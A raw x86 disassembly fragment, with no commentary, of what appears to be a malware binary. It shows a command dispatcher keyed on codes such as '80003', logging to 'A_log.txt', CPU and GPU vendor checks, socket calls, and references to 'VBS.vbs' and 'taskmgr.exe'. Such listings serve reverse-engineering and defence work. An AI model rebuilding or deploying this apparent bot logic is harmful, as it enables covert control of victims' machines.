add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42589c
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503094
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425933
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425946
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425969
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4259cf
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4259e2
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425a05
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425a6b
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425a7e
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425aa1
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503094
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x503094]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425b38
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425b4b
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425b6e
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log1.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425bd4
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425be7
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425c0a
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.A_log.txt
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425c70
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425c83
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425ca6
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x5030e4
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x5030e4
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
call fcn.0042c559
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x64
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [0x5030e4]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425d8a
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425d9d
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425dc0
push ebx
call fcn.0044cd34
add esp, 4
push 0
call fcn.0044cd46
add esp, 4
jmp 0x42c4ae
push str.80003
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x425f60
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x425e36
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4d9929
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x425e61
mov eax, 0x4d792e
push eax
push 3
mov eax, 1
mov ebx, 0x4ab920
call fcn.0044cd40
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x425e8f
mov eax, 0x4d792e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x425ea3
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ef70
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x425ec6
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x425ed6
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x425ee9
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x5030f8]
test ebx, ebx
je 0x425f16
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [0x5030f8], eax
mov dword [0x5030e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503090
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
call fcn.0042c862
jmp 0x42c4ae
push str.80004
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x426373
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d8090
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b4]
test eax, eax
jne 0x425fac
mov eax, 0x4d6f24
push eax
push 4
mov ebx, 0x44d810
call fcn.0044cd2e
add esp, 0x34
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x426023
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x4d808c
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b4]
test eax, eax
jne 0x425fff
mov eax, 0x4d6f24
push eax
push 4
mov ebx, 0x44d810
call fcn.0044cd2e
add esp, 0x34
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xffffffff
jne 0x426023
xor eax, eax
jmp 0x426028
mov eax, 1
test eax, eax
je 0x4261a8
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42607e
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4d9929
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4260a9
mov eax, 0x4d792e
push eax
push 3
mov eax, 1
mov ebx, 0x4ab920
call fcn.0044cd40
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4260d7
mov eax, 0x4d792e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4260eb
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ef70
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42610e
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42611e
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x426131
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x5030fc]
test ebx, ebx
je 0x42615e
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [0x5030fc], eax
mov dword [0x5030e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503094
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
call fcn.0042c862
jmp 0x42636e
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.NVIDIA
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [0x5030b4]
test eax, eax
jne 0x4261db
mov eax, 0x4d6f24
push eax
push 4
mov ebx, 0x44d810
call fcn.0044cd2e
add esp, 0x34
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0xffffffff
je 0x42636e
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42620e
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [0x503100]
test ebx, ebx
je 0x42623b
push ebx
call fcn.0044cd34
add esp, 4
pop eax
mov dword [0x503100], eax
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.NVDIA_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42628f
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
push 0x4d9929
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4262ba
mov eax, 0x4d792e
push eax
push 3
mov eax, 1
mov ebx, 0x4ab920
call fcn.0044cd40
add esp, 0x28
mov dword [ebp - 0x2c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4262e8
mov eax, 0x4d792e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4262fc
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ef70
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42631f
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42632f
push ebx
call fcn.0044cd34
add esp, 4
mov dword [0x5030e8], 1
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0x503098
call fcn.0040e84d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
mov dword [ebp - 0x28], 0
push 0
push dword [ebp - 0x28]
call fcn.0042c862
jmp 0x42c4ae
push str.80002
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x4269eb
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42641f
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.004147bc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426458
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42647e
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42648e
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4264a1
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x58], 0
push 0
lea eax, [ebp - 0x58]
push eax
mov dword [ebp - 0x5c], 0
push 0
push dword [ebp - 0x5c]
lea eax, [ebp - 0x34]
push eax
call fcn.004162ba
mov dword [ebp - 0x60], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x426552
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x58]
test ebx, ebx
je 0x426562
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x426572
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x426582
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x426592
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4265a2
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4265b2
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x4265c2
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x60]
test eax, eax
jne 0x4265d5
mov eax, 0x4d792e
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4265e9
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ef70
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x42660c
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x60]
test ebx, ebx
je 0x42661c
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4266af
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.004147bc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4266e8
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42670e
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42671e
push ebx
call fcn.0044cd34
add esp, 4
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42673d
mov eax, 0x4d6f24
push eax
push 2
mov ebx, 0x44ee90
call fcn.0044cd2e
add esp, 0x1c
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x426760
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x4267f3
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.004147bc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x42682c
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426852
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x426862
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, 9
call fcn.00402e3f
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x42687f
mov eax, 0x4d6f24
push eax
push 0
push 0
push 0
push 5
mov eax, 4
mov ebx, 0x4aec80
call fcn.0044cd40
add esp, 0x40
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4268ad
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x413ee0
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
mov ebx, 6
call fcn.00402e3f
push reloc.WS2_32.dll_getsockname
push 0
push 0x414257
push 3
mov eax, 3
mov ebx, 0x4aeb20
call fcn.0044cd40
add esp, 0x28
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 8]
test eax, eax
jne 0x42692f
mov eax, 0x4d792e
push eax
push 1
mov ebx, 0x44ecb0
call fcn.0044cd2e
add esp, 0x10
mov dword [ebp - 0x28], eax
push 1
push 1
lea eax, [ebp - 0x28]
push eax
call fcn.004147bc
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426968
push ebx
call fcn.0044cd34
add esp, 4
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x30], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x42698e
push ebx
call fcn.0044cd34
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x42699e
push ebx
call fcn.0044cd34
add esp, 4
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x4269c3
mov eax, 0x4d6f24
push eax
push 3
mov ebx, 0x44d1d0
call fcn.0044cd2e
add esp, 0x28
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4269e6
push ebx
call fcn.0044cd34
add esp, 4
jmp 0x42c4ae
push str.80006
push dword [ebp - 4]
call fcn.00402f0e
add esp, 8
cmp eax, 0
jne 0x428a93
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.CPU_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426a52
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426a65
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426a88
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.NVDIA_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426aee
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426b01
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426b24
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0x80000301
push 0
push 0xb
push 1
mov eax, 4
mov ebx, 0x4aed80
call fcn.0044cd40
add esp, 0x10
mov dword [ebp - 0x24], eax
push str.AMD_
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426b8a
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426b9d
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426bc0
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push 0x4d6f14
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426c15
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426c28
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426c4b
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
push 0
mov ebx, 0x44d330
call fcn.0044cd2e
add esp, 4
mov dword [ebp - 0x24], eax
push str.VBS.vbs
push dword [ebp - 0x24]
mov ecx, 2
call fcn.00402eb2
add esp, 8
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x426ca0
push ebx
call fcn.0044cd34
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x426cb3
mov eax, 0x4d6f24
push eax
push 1
mov ebx, 0x44ee50
call fcn.0044cd2e
add esp, 0x10
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426cd6
push ebx
call fcn.0044cd34
add esp, 4
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
push 0xa
call fcn.0040e65d
mov dword [ebp - 0x24], 0
push 0
push dword [ebp - 0x24]
push 1
mov eax, str.taskmgr.exe
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
call fcn.0040e84d
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x426d1d
push ebx
call fcn.0044cd34
add esp, 4
